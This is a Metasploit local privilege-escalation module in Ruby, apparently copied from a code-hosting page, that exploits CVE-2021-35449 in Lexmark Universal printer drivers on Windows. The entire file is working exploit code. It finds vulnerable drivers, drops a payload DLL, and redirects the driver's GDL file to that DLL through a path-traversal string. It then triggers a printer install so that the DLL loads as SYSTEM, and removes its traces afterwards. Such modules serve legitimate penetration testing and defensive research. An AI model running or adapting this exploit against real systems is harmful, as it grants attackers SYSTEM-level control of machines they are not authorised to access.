186 lines
7.0 KiB
Ruby
186 lines
7.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Lexmark Driver Privilege Escalation',
|
|
'Description' => %q{
|
|
Various Lexmark Universal Printer drivers as listed at advisory TE953
|
|
allow low-privileged authenicated users to elevate their privileges to
|
|
SYSTEM on affected Windows systems by modifying the XML file at
|
|
C:\ProgramData\<driver name>\Universal Color Laser.gdl
|
|
to replace the DLL path to unires.dll with a malicious DLL path.
|
|
|
|
When C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs is
|
|
then used to add the printer to the affected system, PrintIsolationHost.exe,
|
|
a Windows process running as NT AUTHORITY\SYSTEM, will inspect the
|
|
C:\ProgramData\<driver name>\Universal Color Laser.gdl file and will
|
|
load the malicious DLL from the path specified in the file. This which will
|
|
result in the malicious DLL executing as NT AUTHORITY\SYSTEM.
|
|
|
|
Once this module is finished, it will use the prnmngr.vbs script
|
|
to remove the printer it added.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Jacob Baines', # discovery, PoC, module
|
|
'Shelby Pace', # original Ricoh driver module
|
|
'Grant Willcox' # module
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2021-35449'],
|
|
[ 'URL', 'http://support.lexmark.com/index?page=content&id=TE953'],
|
|
[ 'URL', 'https://github.com/jacob-baines/concealed_position'],
|
|
[ 'URL', 'https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20presentations/Jacob%20Baines%20-%20Bring%20Your%20Own%20Print%20Driver%20Vulnerability.pdf']
|
|
],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'Platform' => 'win',
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [
|
|
[
|
|
'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }
|
|
]
|
|
],
|
|
'Notes' => {
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'Stability' => [ SERVICE_RESOURCE_LOSS ]
|
|
},
|
|
'DisclosureDate' => '2021-07-15',
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
register_options(
|
|
[OptString.new('DRIVERNAME', [false, 'The name of the Lexmark driver to exploit', ''])]
|
|
)
|
|
self.needs_cleanup = true
|
|
end
|
|
|
|
# Check to see if a there are Lexmark drivers in the driver store.
|
|
# If there are, validate that they are similar to the ones we want
|
|
# to exploit. The user can specify the driver they'd like to exploit
|
|
# as option. Otherwise, the first vulnerable driver from the driver store
|
|
# will be selected.
|
|
def check
|
|
res = cmd_exec('pnputil.exe /enum-drivers')
|
|
m = res.scan(%r{Published Name: ([^.]*\.inf)\r\nOriginal Name: lmu.*?.inf\r\nProvider Name: Lexmark International\r\nClass Name: Printers\r\nClass GUID: {4d36e979-e325-11ce-bfc1-08002be10318}\r\nDriver Version: (\d+)/\d+/(\d+) \d+\.\d+\.\d+\.\d+}m)
|
|
|
|
return CheckCode::Safe('No Lexmark print drivers in the driver store') if m.empty?
|
|
|
|
# known vulnerable drivers
|
|
driver_list = ['Lexmark Universal v2', 'Lexmark Universal v2 XL', 'Lexmark Printer Software G2', 'Lexmark Printer Software G2 XL']
|
|
found_drivers = []
|
|
|
|
for path in m
|
|
print_status("Lexmark driver published at #{path[0]}")
|
|
inf_text = read_file("C:\\Windows\\inf\\#{path[0]}")
|
|
for driver in driver_list
|
|
if inf_text.include?(driver)
|
|
found_drivers.push(driver)
|
|
end
|
|
end
|
|
end
|
|
|
|
return CheckCode::Safe('None of the Lexmark drivers in the driver store are known to be vulnerable') if found_drivers.empty?
|
|
|
|
found_drivers = found_drivers.uniq
|
|
print_status("Found #{found_drivers.length} possible options:")
|
|
for driver in found_drivers
|
|
print_status("\t#{driver}")
|
|
end
|
|
|
|
# select driver to exploit
|
|
@drvr_name = datastore['DRIVERNAME']
|
|
if @drvr_name.empty?
|
|
@drvr_name = found_drivers[0]
|
|
print_status("No user provided DRIVERNAME. Defaulting to \"#{@drvr_name}\"")
|
|
else
|
|
return CheckCode::Safe('The user specified driver is not in the driver store') unless found_drivers.include?(@drvr_name)
|
|
|
|
print_status('The user selected driver was in the driver store')
|
|
end
|
|
|
|
@gdl_file = 'C:\\ProgramData\\' + @drvr_name + '\\Universal Color Laser.gdl'
|
|
CheckCode::Detected('A potentially vulnerable Lexmark print driver is available.')
|
|
end
|
|
|
|
def do_add_printer_vbs
|
|
script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{@drvr_name}\" -r \"lpt1:\""
|
|
print_status("Adding printer #{@printer_name}...")
|
|
cmd_exec(script_cmd)
|
|
end
|
|
|
|
def add_printer
|
|
fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)
|
|
fail_with(Failure::NotFound, 'No driver name set') if @drvr_name.empty?
|
|
|
|
# If the driver has never been installed, then the vulnerable file won't exist. So let's
|
|
# install once if necessary
|
|
if !file?(@gdl_file)
|
|
do_add_printer_vbs
|
|
cleanup
|
|
end
|
|
|
|
return CheckCode::Safe('No Lexmark GDL file found') unless file?(@gdl_file)
|
|
|
|
# dump exploit dll to disk
|
|
dll_data = generate_payload_dll
|
|
temp_path = expand_path('%TEMP%\\')
|
|
temp_path.concat(Rex::Text.rand_text_alpha(5..9))
|
|
temp_path.concat('.dll')
|
|
vprint_status("Writing dll to #{temp_path}")
|
|
write_file(temp_path, dll_data)
|
|
register_files_for_cleanup(temp_path)
|
|
|
|
# replace a DLL path to one in our control
|
|
traversal_path = '..\\..\\..\\..\\..\\..'
|
|
traversal_path.concat(temp_path[2..])
|
|
text = read_file(@gdl_file)
|
|
new_contents = text.gsub(/unires.dll/, traversal_path)
|
|
write_file(@gdl_file, new_contents)
|
|
|
|
# trigger exploitaiton
|
|
do_add_printer_vbs
|
|
|
|
# reset the path
|
|
text = read_file(@gdl_file)
|
|
new_contents = text.gsub(traversal_path, 'unires.dll')
|
|
write_file(@gdl_file, new_contents)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
fail_with(Failure::Unknown, "#{e.class} #{e.message}")
|
|
end
|
|
|
|
def exploit
|
|
fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
|
|
|
|
fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'
|
|
|
|
if sysinfo['Architecture'] != payload.arch.first
|
|
fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target driver')
|
|
end
|
|
|
|
@printer_name = Rex::Text.rand_text_alpha(5..9)
|
|
@script_path = 'C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs'
|
|
add_printer
|
|
end
|
|
|
|
def cleanup
|
|
print_status("Deleting printer #{@printer_name}")
|
|
delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""
|
|
cmd_exec(delete_cmd)
|
|
end
|
|
end
|